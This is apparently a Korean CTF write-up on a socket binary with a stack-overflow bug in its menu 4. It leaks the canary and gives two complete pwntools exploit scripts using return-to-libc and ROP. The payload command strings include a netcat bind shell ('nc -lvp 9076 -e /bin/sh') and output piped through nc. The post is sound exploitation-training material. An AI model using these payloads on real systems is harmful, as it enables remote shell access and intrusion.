보호기법은 스택카나리와 NX가 걸려있다.

이 바이너리도 소켓으로 통신을 하는 바이너리라서 먼저 1번 터미널에서 실행을 시켜주고 2번 터미널에서 nc로 붙어야 한다.


실행을 하면 메뉴가 나온다.


근데 처음에 이 메뉴들을 실행을 시키면 open error라는 메시지가 뜨면서 바이너리가 종료된다.

그래서 아이다로 찾아보니 이 바이너리가 실행되는 위치에 각각 조건에 맞는 파일이 open()되지 않아서 open error라는 메시지를 띄워주는 것이였다.

그래서 각가 맞는 조건을 gdb와 ida를 보고 찾아서 생성해줬다.


그 후 각 메뉴를 실행해보면 도라에몽을 공격할 수도있고 체력을 회복시켜줄 수 도 있다.

각 메뉴에 대해 취약점이 존재하는지 확인해보았다.

4번 메뉴에서 취약점이 나온다.

4번 메뉴를 입력하면 y와 n을 입력받는데 그 때의 함수를 보면 read(fd, ebp-0x16, 0x6e) 이다.

즉 버퍼는 22만큼의 공간을 가지고 있는데.. read할 사이즈는 110이다.


해당 함수의 변수를 보면 

ebp-0x20

ebp-0x1c

ebp-0x16

ebp-0x12

ebp-0xe

ebp-oxc

ebp-0x8까지 있다.


즉 ebp-0x16부터 ebp+0x4까지 덮으려면 22바이트가 필요하다. 하지만 여기엔 카나리가 들어가므로 총 26바이트를 넣어준 후 다음 4바이트가 ret를 덮을 것이다.

이제 카나리 값을 알아야 하는데.

ebp-0x16에서 카나리를 릭해줘야 한다.

처음에 y를 8개 넣으니 당연히 아무값도 출력이 안된다.

그래서 9개를 넣어보았다.

하지만 9개도 카나리가 나오지 않았다.

즉 카나리의 첫바이트는 널바이트라는 것이다.

그래서 10개를 넣으니 카나리가 릭됐다.


카나리는 이렇게 릭을 해주면 되고..


처음엔 내부에 있는 execl()함수와 /bin/sh을 실행시키도록 코드를 짜서 rtl을 해보니 서버단에서 쉘이 따지고 attacker는 쉘이 보이지 않았다.

처음에 짠 exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
 
def canary_leak():
    p = remote("localhost", 8888)
 
    print p.recvuntil(">")
    p.sendline("4")
    print p.recvuntil("(y/n)")
    p.sendline("y"*10)
    print p.recvuntil("You choose '")
    dummy_canary = p.recvuntil("'!").split("\n")[1]
    canary = u32("\x00" + dummy_canary[0:3])
    ret = u32(dummy_canary[15:19])
    log.info("canary = {}".format(hex(canary)))
    log.info("ret = {}".format(hex(ret)))
 
    print p.recvuntil("MOUSE!!!!!!!!! (HP - 25)\"") + p.recvuntil("\n")
    p.close()
    return canary
 
def exploit(canary):
    binsh = 0x804970d
    bss = 0x804b080
    execl_plt = 0x8048710
    pppr = 0x8048b2c
 
    payload = "y"*10
    payload += p32(canary)
    payload += "A"*12
    payload += p32(execl_plt)
    payload += p32(pppr)
    payload += p32(binsh)
    payload += p32(binsh)
    payload += p32(0)
 
    p = remote("localhost", 8888)
    p.recvuntil(">")
    p.sendline("4")
    print p.recvuntil("(y/n)")
    p.sendline(payload)
 
    p.interactive()
 
if __name__ == "__main__":
    canary = canary_leak()
    exploit(canary)


위 방법은 attacker입장에선 무의미하다.

그래서 rop 가젯을 모아서 익스플로잇을 해주면 된다.

libc주소를 write()로 릭해서 system함수를 offset으로 구한 후 system()함수를 실행 해주면 익스가 된다. (최종적으론 리버스쉘로 풀었다.)



exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
 
def canary_leak():
    p = remote("localhost", 8888)
 
    print p.recvuntil(">")
    p.sendline("4")
    print p.recvuntil("(y/n)")
    p.sendline("y"*10)
    print p.recvuntil("You choose '")
    dummy_canary = p.recvuntil("'!").split("\n")[1]
    canary = u32("\x00" + dummy_canary[0:3])
    ret = u32(dummy_canary[15:19])
    log.info("canary = {}".format(hex(canary)))
    log.info("ret = {}".format(hex(ret)))
 
    print p.recvuntil("MOUSE!!!!!!!!! (HP - 25)\"") + p.recvuntil("\n")
    p.close()
    return canary
 
def exploit(canary):
    read_plt = 0x8048620
    read_got = 0x804b010
    write_plt = 0x80486e0
    write_got = 0x804b040
    binsh = 0x804970d
    bss = 0x804b080
    system_offset = 0x9add0 # write - system
    pppr = 0x8048b2c
    #cmd = "/bin/sh -i <&4 >&4 2>&4\x00"
    #cmd = "ls -l | nc localhost 9076\x00"
    cmd = "nc -lvp 9076 -e /bin/sh\x00"
 
    payload = "y"*10
    payload += p32(canary)
    payload += "A"*12
     
    payload += p32(write_plt)
    payload += "JUNK"
    payload += p32(4)
    payload += p32(write_got)
    payload += p32(4)
 
    p = remote("localhost", 8888)
    p.recvuntil(">")
    p.sendline("4")
    print p.recvuntil("(y/n)")
    p.sendline(payload)
 
    print len(p.recv())
    libc_write = u32(p.recv())
    log.info("libc_write = {}".format(hex(libc_write)))
    system_addr = libc_write - system_offset
    log.info("system_addr = {}".format(hex(system_addr)))  
 
    p.close()
 
    payload = "y"*10
    payload += p32(canary)
    payload += "A"*12
 
    payload += p32(read_plt)
    payload += p32(pppr)
    payload += p32(4)
    payload += p32(bss)
    payload += p32(len(cmd))
     
    payload += p32(system_addr)
    payload += "JUNK"
    payload += p32(bss)
 
    p = remote("localhost", 8888)
    p.recvuntil(">")
    p.sendline("4")
    print p.recvuntil("(y/n)")
    p.sendline(payload)
    print p.recv()
    p.sendline(cmd)
    p.interactive()
 
if __name__ == "__main__":
    canary = canary_leak()
    exploit(canary)


'CTF' 카테고리의 다른 글

CodeGate2016 watermelon  (0) 2018.07.26
CodeGate2014 nuclear  (0) 2018.07.22
CodeGate 2017 babypwn  (1) 2018.07.18
pico-ctf-2013 rop-4  (0) 2018.07.17
pico-ctf-2013 rop-3  (0) 2018.07.14

+ Recent posts